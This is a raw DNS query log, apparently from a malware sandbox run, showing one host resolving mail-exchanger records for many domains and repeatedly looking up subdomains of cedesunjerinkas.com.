Jan 7, 2022 15:43:43.177146912 CET	8.8.8.8	192.168.2.6	0x2c2c	No error (0)	contoso.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:43.180691004 CET	8.8.8.8	192.168.2.6	0x77e7	Name error (3)	tvrtka.hr	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:43.209125996 CET	8.8.8.8	192.168.2.6	0x95dd	No error (0)	contoso-com.mail.protection.outlook.com		104.47.56.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:43.209125996 CET	8.8.8.8	192.168.2.6	0x95dd	No error (0)	contoso-com.mail.protection.outlook.com		104.47.57.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:43.256201029 CET	8.8.8.8	192.168.2.6	0x2dce	No error (0)	dva.hr			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:43.329541922 CET	8.8.8.8	192.168.2.6	0x7ac8	No error (0)	mail.dva.hr		138.201.223.6	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:43.364165068 CET	8.8.8.8	192.168.2.6	0x53f5	No error (0)	litwareinc.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:43.426482916 CET	8.8.8.8	192.168.2.6	0x6077	No error (0)	smtp.litwareinc.com		96.47.154.206	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:43.517576933 CET	8.8.8.8	192.168.2.6	0x52c0	No error (0)	arb.cz			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:43.540190935 CET	8.8.8.8	192.168.2.6	0xa713	No error (0)	antispam.hosting-zdarma.cz		130.193.9.47	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:43.646830082 CET	8.8.8.8	192.168.2.6	0xe0dc	Name error (3)	abcdefg.cz	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:43.681915998 CET	8.8.8.8	192.168.2.6	0xad2a	Name error (3)	ektro.cz	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:43.736704111 CET	8.8.8.8	192.168.2.6	0x66bd	No error (0)	fb.cz			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:43.736704111 CET	8.8.8.8	192.168.2.6	0x66bd	No error (0)	fb.cz			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:43.736704111 CET	8.8.8.8	192.168.2.6	0x66bd	No error (0)	fb.cz			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:43.736704111 CET	8.8.8.8	192.168.2.6	0x66bd	No error (0)	fb.cz			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:43.736704111 CET	8.8.8.8	192.168.2.6	0x66bd	No error (0)	fb.cz			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:43.764801979 CET	8.8.8.8	192.168.2.6	0xf690	No error (0)	aspmx3.googlemail.com		74.125.200.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:43.786154985 CET	8.8.8.8	192.168.2.6	0x65e	No error (0)	alt2.aspmx.l.google.com		74.125.200.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:43.808969021 CET	8.8.8.8	192.168.2.6	0x6b48	No error (0)	alt1.aspmx.l.google.com		142.250.150.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:43.831273079 CET	8.8.8.8	192.168.2.6	0xecfa	No error (0)	aspmx2.googlemail.com		142.250.150.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:43.855161905 CET	8.8.8.8	192.168.2.6	0x5929	No error (0)	aspmx.l.google.com		108.177.127.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:44.338356018 CET	8.8.8.8	192.168.2.6	0xd4b9	Name error (3)	tek-astore.cz	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:44.393358946 CET	8.8.8.8	192.168.2.6	0x56db	Name error (3)	somemail.ro	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:44.429124117 CET	8.8.8.8	192.168.2.6	0x3ed1	No error (0)	abc.org			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:44.429124117 CET	8.8.8.8	192.168.2.6	0x3ed1	No error (0)	abc.org			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:44.450201988 CET	8.8.8.8	192.168.2.6	0x3f3a	No error (0)	cluster10.us.messagelabs.com		67.219.247.199	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:44.450201988 CET	8.8.8.8	192.168.2.6	0x3f3a	No error (0)	cluster10.us.messagelabs.com		67.219.246.220	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:44.450201988 CET	8.8.8.8	192.168.2.6	0x3f3a	No error (0)	cluster10.us.messagelabs.com		67.219.250.209	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:44.481836081 CET	8.8.8.8	192.168.2.6	0x351a	No error (0)	cluster10a.us.messagelabs.com		44.198.115.56	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:44.481836081 CET	8.8.8.8	192.168.2.6	0x351a	No error (0)	cluster10a.us.messagelabs.com		34.225.49.16	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:44.481836081 CET	8.8.8.8	192.168.2.6	0x351a	No error (0)	cluster10a.us.messagelabs.com		54.83.87.114	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:45.190388918 CET	8.8.8.8	192.168.2.6	0xe119	No error (0)	contoso.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:45.210923910 CET	8.8.8.8	192.168.2.6	0x317	No error (0)	contoso-com.mail.protection.outlook.com		104.47.51.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:45.210923910 CET	8.8.8.8	192.168.2.6	0x317	No error (0)	contoso-com.mail.protection.outlook.com		104.47.57.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:45.552998066 CET	8.8.8.8	192.168.2.6	0x4a5a	Name error (3)	emaiserver.ro	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:45.633491993 CET	8.8.8.8	192.168.2.6	0xd7f8	Name error (3)	worldwideoffices.ro	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:45.668603897 CET	8.8.8.8	192.168.2.6	0xe9c0	No error (0)	cineva.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:45.691725969 CET	8.8.8.8	192.168.2.6	0x1f6e	No error (0)	mail.h-email.net		54.244.49.115	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:45.691725969 CET	8.8.8.8	192.168.2.6	0x1f6e	No error (0)	mail.h-email.net		34.223.6.127	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:45.691725969 CET	8.8.8.8	192.168.2.6	0x1f6e	No error (0)	mail.h-email.net		52.34.199.44	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:45.691725969 CET	8.8.8.8	192.168.2.6	0x1f6e	No error (0)	mail.h-email.net		34.212.139.205	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:45.691725969 CET	8.8.8.8	192.168.2.6	0x1f6e	No error (0)	mail.h-email.net		34.212.36.67	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:45.691725969 CET	8.8.8.8	192.168.2.6	0x1f6e	No error (0)	mail.h-email.net		54.190.26.211	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:45.691725969 CET	8.8.8.8	192.168.2.6	0x1f6e	No error (0)	mail.h-email.net		18.237.204.6	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:45.691725969 CET	8.8.8.8	192.168.2.6	0x1f6e	No error (0)	mail.h-email.net		54.200.93.251	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:45.691725969 CET	8.8.8.8	192.168.2.6	0x1f6e	No error (0)	mail.h-email.net		34.220.245.67	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:45.691725969 CET	8.8.8.8	192.168.2.6	0x1f6e	No error (0)	mail.h-email.net		18.237.235.220	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:45.834711075 CET	8.8.8.8	192.168.2.6	0x34af	No error (0)	orice.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:45.834711075 CET	8.8.8.8	192.168.2.6	0x34af	No error (0)	orice.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:45.877331972 CET	8.8.8.8	192.168.2.6	0x7e56	No error (0)	mxbck.leonet.it		185.175.124.58	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:45.899678946 CET	8.8.8.8	192.168.2.6	0x267	No error (0)	mx.leonet.it		212.19.106.223	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:45.899678946 CET	8.8.8.8	192.168.2.6	0x267	No error (0)	mx.leonet.it		212.19.106.229	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:49.116986990 CET	8.8.8.8	192.168.2.6	0x4c00	Server failure (2)	orice.ro	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:49.318250895 CET	8.8.8.8	192.168.2.6	0xeef6	No error (0)	contoso.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:49.340826988 CET	8.8.8.8	192.168.2.6	0xd1fd	No error (0)	contoso-com.mail.protection.outlook.com		104.47.51.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:49.340826988 CET	8.8.8.8	192.168.2.6	0xd1fd	No error (0)	contoso-com.mail.protection.outlook.com		104.47.57.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:49.888250113 CET	8.8.8.8	192.168.2.6	0xc5e0	No error (0)	ppp.ro			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:49.958488941 CET	8.8.8.8	192.168.2.6	0xed10	No error (0)	ppp.ro		176.223.123.126	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:50.911520958 CET	8.8.8.8	192.168.2.6	0xd8e4	No error (0)	www2.cedesunjerinkas.com		193.166.255.171	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:56.183630943 CET	8.8.8.8	192.168.2.6	0xd5be	No error (0)	www3.cedesunjerinkas.com		193.166.255.171	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:56.192255020 CET	8.8.8.8	192.168.2.6	0x3318	No error (0)	www2.cedesunjerinkas.com		193.166.255.171	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:56.776370049 CET	8.8.8.8	192.168.2.6	0x75f9	No error (0)	www3.cedesunjerinkas.com		193.166.255.171	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:57.137142897 CET	8.8.8.8	192.168.2.6	0x325c	No error (0)	domini.cat			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:57.166587114 CET	8.8.8.8	192.168.2.6	0x98aa	No error (0)	domini-cat.mail.protection.outlook.com		104.47.18.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:57.166587114 CET	8.8.8.8	192.168.2.6	0x98aa	No error (0)	domini-cat.mail.protection.outlook.com		104.47.17.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:57.611324072 CET	8.8.8.8	192.168.2.6	0xac8e	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:57.611324072 CET	8.8.8.8	192.168.2.6	0xac8e	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:57.611324072 CET	8.8.8.8	192.168.2.6	0xac8e	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:57.611324072 CET	8.8.8.8	192.168.2.6	0xac8e	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:57.611324072 CET	8.8.8.8	192.168.2.6	0xac8e	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:57.632824898 CET	8.8.8.8	192.168.2.6	0xf8e5	No error (0)	aspmx2.googlemail.com		142.250.150.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:57.654737949 CET	8.8.8.8	192.168.2.6	0xd195	No error (0)	aspmx3.googlemail.com		74.125.200.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:57.674128056 CET	8.8.8.8	192.168.2.6	0x9994	No error (0)	alt1.aspmx.l.google.com		142.250.150.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:57.694847107 CET	8.8.8.8	192.168.2.6	0x202f	No error (0)	aspmx.l.google.com		142.250.145.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:57.715524912 CET	8.8.8.8	192.168.2.6	0xdba3	No error (0)	alt2.aspmx.l.google.com		74.125.200.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:57.969388962 CET	8.8.8.8	192.168.2.6	0x8e8e	No error (0)	openssl.org			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:57.992831945 CET	8.8.8.8	192.168.2.6	0xc892	No error (0)	mta.openssl.org		194.97.150.230	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:59.942054033 CET	8.8.8.8	192.168.2.6	0xb3b0	No error (0)	cryptsoft.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:59.942054033 CET	8.8.8.8	192.168.2.6	0xb3b0	No error (0)	cryptsoft.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:59.942054033 CET	8.8.8.8	192.168.2.6	0xb3b0	No error (0)	cryptsoft.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:59.942054033 CET	8.8.8.8	192.168.2.6	0xb3b0	No error (0)	cryptsoft.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:59.942054033 CET	8.8.8.8	192.168.2.6	0xb3b0	No error (0)	cryptsoft.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:59.961667061 CET	8.8.8.8	192.168.2.6	0x65ad	No error (0)	aspmx.l.google.com		108.177.96.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:59.983695984 CET	8.8.8.8	192.168.2.6	0x65cf	No error (0)	alt1.aspmx.l.google.com		142.250.150.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:00.002700090 CET	8.8.8.8	192.168.2.6	0xf662	No error (0)	aspmx2.googlemail.com		142.250.150.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:00.021301985 CET	8.8.8.8	192.168.2.6	0x4996	No error (0)	aspmx3.googlemail.com		74.125.200.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:00.048568964 CET	8.8.8.8	192.168.2.6	0x42c7	No error (0)	alt2.aspmx.l.google.com		74.125.200.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:00.768568993 CET	8.8.8.8	192.168.2.6	0xbf28	No error (0)	fabrikam.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:00.789392948 CET	8.8.8.8	192.168.2.6	0x3e5e	No error (0)	mail.fabrikam.com		131.107.55.31	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:01.272568941 CET	8.8.8.8	192.168.2.6	0xc97b	Name error (3)	negdje.hr	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:01.309362888 CET	8.8.8.8	192.168.2.6	0x7100	Name error (3)	abcdef.hr	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:01.361643076 CET	8.8.8.8	192.168.2.6	0x53a4	No error (0)	vlada.hr			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:01.361643076 CET	8.8.8.8	192.168.2.6	0x53a4	No error (0)	vlada.hr			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:01.361643076 CET	8.8.8.8	192.168.2.6	0x53a4	No error (0)	vlada.hr			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:01.407078028 CET	8.8.8.8	192.168.2.6	0x3da0	No error (0)	ma-02.vlada.hr		195.29.173.139	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:01.451519012 CET	8.8.8.8	192.168.2.6	0x92d3	No error (0)	mail.vlada.hr		195.29.173.131	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:01.480477095 CET	8.8.8.8	192.168.2.6	0x9eab	No error (0)	ma-01.vlada.hr		195.29.173.138	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:02.114403963 CET	8.8.8.8	192.168.2.6	0x2daa	Name error (3)	netko.hr	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:02.138149023 CET	8.8.8.8	192.168.2.6	0x30c0	Name error (3)	tvrtka.hr	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:02.192102909 CET	8.8.8.8	192.168.2.6	0xcda3	No error (0)	dva.hr			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:02.215380907 CET	8.8.8.8	192.168.2.6	0xad72	No error (0)	mail.dva.hr		138.201.223.6	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:03.051845074 CET	8.8.8.8	192.168.2.6	0x75b2	No error (0)	arb.cz			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:03.076312065 CET	8.8.8.8	192.168.2.6	0xf1f6	No error (0)	antispam.hosting-zdarma.cz		130.193.9.47	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:03.186089039 CET	8.8.8.8	192.168.2.6	0xaf2b	Name error (3)	abcdefg.cz	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:03.221729040 CET	8.8.8.8	192.168.2.6	0xf08a	Name error (3)	ektro.cz	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:03.242810011 CET	8.8.8.8	192.168.2.6	0x9647	No error (0)	www4.cedesunjerinkas.com		193.166.255.171	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:03.256879091 CET	8.8.8.8	192.168.2.6	0x202	No error (0)	fb.cz			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:03.256879091 CET	8.8.8.8	192.168.2.6	0x202	No error (0)	fb.cz			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:03.256879091 CET	8.8.8.8	192.168.2.6	0x202	No error (0)	fb.cz			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:03.256879091 CET	8.8.8.8	192.168.2.6	0x202	No error (0)	fb.cz			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:03.256879091 CET	8.8.8.8	192.168.2.6	0x202	No error (0)	fb.cz			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:03.276210070 CET	8.8.8.8	192.168.2.6	0xf1de	No error (0)	aspmx.l.google.com		142.250.145.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:03.296529055 CET	8.8.8.8	192.168.2.6	0xdfa0	No error (0)	aspmx2.googlemail.com		142.250.150.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:03.317290068 CET	8.8.8.8	192.168.2.6	0x4d25	No error (0)	alt2.aspmx.l.google.com		74.125.200.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:03.354451895 CET	8.8.8.8	192.168.2.6	0xac6b	No error (0)	aspmx3.googlemail.com		74.125.200.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:03.375797987 CET	8.8.8.8	192.168.2.6	0xfda5	No error (0)	alt1.aspmx.l.google.com		142.250.150.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:03.955955982 CET	8.8.8.8	192.168.2.6	0x6882	Name error (3)	tek-astore.cz	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:03.981851101 CET	8.8.8.8	192.168.2.6	0xc183	Name error (3)	somemail.ro	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:04.012676954 CET	8.8.8.8	192.168.2.6	0x5b8b	No error (0)	abc.org			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:04.012676954 CET	8.8.8.8	192.168.2.6	0x5b8b	No error (0)	abc.org			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:04.036412001 CET	8.8.8.8	192.168.2.6	0xd808	No error (0)	cluster10.us.messagelabs.com		67.219.247.199	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:04.036412001 CET	8.8.8.8	192.168.2.6	0xd808	No error (0)	cluster10.us.messagelabs.com		67.219.250.209	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:04.036412001 CET	8.8.8.8	192.168.2.6	0xd808	No error (0)	cluster10.us.messagelabs.com		67.219.246.220	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:04.056899071 CET	8.8.8.8	192.168.2.6	0x165f	No error (0)	cluster10a.us.messagelabs.com		44.198.115.56	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:04.056899071 CET	8.8.8.8	192.168.2.6	0x165f	No error (0)	cluster10a.us.messagelabs.com		54.83.87.114	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:04.056899071 CET	8.8.8.8	192.168.2.6	0x165f	No error (0)	cluster10a.us.messagelabs.com		34.225.49.16	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:04.128341913 CET	8.8.8.8	192.168.2.6	0x4a47	No error (0)	www3.cedesunjerinkas.com		193.166.255.171	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:04.388688087 CET	8.8.8.8	192.168.2.6	0x5d0d	No error (0)	pobox.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:04.388688087 CET	8.8.8.8	192.168.2.6	0x5d0d	No error (0)	pobox.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:04.388688087 CET	8.8.8.8	192.168.2.6	0x5d0d	No error (0)	pobox.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:04.388688087 CET	8.8.8.8	192.168.2.6	0x5d0d	No error (0)	pobox.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:04.388688087 CET	8.8.8.8	192.168.2.6	0x5d0d	No error (0)	pobox.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:04.388688087 CET	8.8.8.8	192.168.2.6	0x5d0d	No error (0)	pobox.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:04.388688087 CET	8.8.8.8	192.168.2.6	0x5d0d	No error (0)	pobox.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:04.388688087 CET	8.8.8.8	192.168.2.6	0x5d0d	No error (0)	pobox.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:04.421479940 CET	8.8.8.8	192.168.2.6	0xc4da	No error (0)	pb-mx21.pobox.com		173.228.157.40	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:04.442169905 CET	8.8.8.8	192.168.2.6	0x2fde	No error (0)	pb-mx9.pobox.com		64.147.108.50	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:04.464159966 CET	8.8.8.8	192.168.2.6	0x2d6d	No error (0)	pb-mx23.pobox.com		173.228.157.42	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:04.485850096 CET	8.8.8.8	192.168.2.6	0x3889	No error (0)	pb-mx10.pobox.com		64.147.108.51	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:04.507029057 CET	8.8.8.8	192.168.2.6	0xeb8a	No error (0)	pb-mx14.pobox.com		64.147.108.55	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:04.529195070 CET	8.8.8.8	192.168.2.6	0x643f	No error (0)	pb-mx22.pobox.com		173.228.157.41	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:04.552632093 CET	8.8.8.8	192.168.2.6	0xf378	Name error (3)	emaiserver.ro	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:04.554413080 CET	8.8.8.8	192.168.2.6	0xff11	No error (0)	pb-mx11.pobox.com		64.147.108.52	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:04.577081919 CET	8.8.8.8	192.168.2.6	0xd7a3	No error (0)	pb-mx20.pobox.com		173.228.157.39	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:04.608066082 CET	8.8.8.8	192.168.2.6	0x5e3c	Name error (3)	worldwideoffices.ro	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:04.638967037 CET	8.8.8.8	192.168.2.6	0xfc7e	No error (0)	cineva.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:04.661128998 CET	8.8.8.8	192.168.2.6	0xe149	No error (0)	mail.h-email.net		54.244.49.115	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:04.661128998 CET	8.8.8.8	192.168.2.6	0xe149	No error (0)	mail.h-email.net		34.223.6.127	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:04.661128998 CET	8.8.8.8	192.168.2.6	0xe149	No error (0)	mail.h-email.net		52.34.199.44	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:04.661128998 CET	8.8.8.8	192.168.2.6	0xe149	No error (0)	mail.h-email.net		34.212.139.205	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:04.661128998 CET	8.8.8.8	192.168.2.6	0xe149	No error (0)	mail.h-email.net		34.212.36.67	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:04.661128998 CET	8.8.8.8	192.168.2.6	0xe149	No error (0)	mail.h-email.net		54.190.26.211	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:04.661128998 CET	8.8.8.8	192.168.2.6	0xe149	No error (0)	mail.h-email.net		18.237.204.6	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:04.661128998 CET	8.8.8.8	192.168.2.6	0xe149	No error (0)	mail.h-email.net		54.200.93.251	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:04.661128998 CET	8.8.8.8	192.168.2.6	0xe149	No error (0)	mail.h-email.net		34.220.245.67	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:04.661128998 CET	8.8.8.8	192.168.2.6	0xe149	No error (0)	mail.h-email.net		18.237.235.220	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:04.753379107 CET	8.8.8.8	192.168.2.6	0x9fab	No error (0)	orice.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:04.753379107 CET	8.8.8.8	192.168.2.6	0x9fab	No error (0)	orice.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:04.790009975 CET	8.8.8.8	192.168.2.6	0x74b2	No error (0)	mx.leonet.it		212.19.106.229	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:04.790009975 CET	8.8.8.8	192.168.2.6	0x74b2	No error (0)	mx.leonet.it		212.19.106.223	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:04.811881065 CET	8.8.8.8	192.168.2.6	0x7199	No error (0)	mxbck.leonet.it		185.175.124.58	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:05.187119007 CET	8.8.8.8	192.168.2.6	0x42ee	Server failure (2)	orice.ro	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:05.220417023 CET	8.8.8.8	192.168.2.6	0x1ae	No error (0)	ppp.ro			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:05.246975899 CET	8.8.8.8	192.168.2.6	0x2c37	No error (0)	ppp.ro		176.223.123.126	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:06.629511118 CET	8.8.8.8	192.168.2.6	0xa667	No error (0)	domini.cat			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:06.648003101 CET	8.8.8.8	192.168.2.6	0x5dad	No error (0)	netcom.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:06.648003101 CET	8.8.8.8	192.168.2.6	0x5dad	No error (0)	netcom.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:06.648003101 CET	8.8.8.8	192.168.2.6	0x5dad	No error (0)	netcom.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:06.648003101 CET	8.8.8.8	192.168.2.6	0x5dad	No error (0)	netcom.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:06.650366068 CET	8.8.8.8	192.168.2.6	0xabcd	No error (0)	domini-cat.mail.protection.outlook.com		104.47.18.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:06.650366068 CET	8.8.8.8	192.168.2.6	0xabcd	No error (0)	domini-cat.mail.protection.outlook.com		104.47.17.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:06.668294907 CET	8.8.8.8	192.168.2.6	0xae61	No error (0)	mx01.oxsus-vadesecure.net		51.81.57.58	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:06.691531897 CET	8.8.8.8	192.168.2.6	0x26f8	No error (0)	mx02.oxsus-vadesecure.net		51.81.57.59	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:06.714934111 CET	8.8.8.8	192.168.2.6	0xeeac	No error (0)	mx03.oxsus-vadesecure.net		51.81.242.59	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:06.734402895 CET	8.8.8.8	192.168.2.6	0x3012	No error (0)	mx04.oxsus-vadesecure.net		51.81.242.150	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:06.842951059 CET	8.8.8.8	192.168.2.6	0xcd45	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:06.842951059 CET	8.8.8.8	192.168.2.6	0xcd45	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:06.842951059 CET	8.8.8.8	192.168.2.6	0xcd45	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)
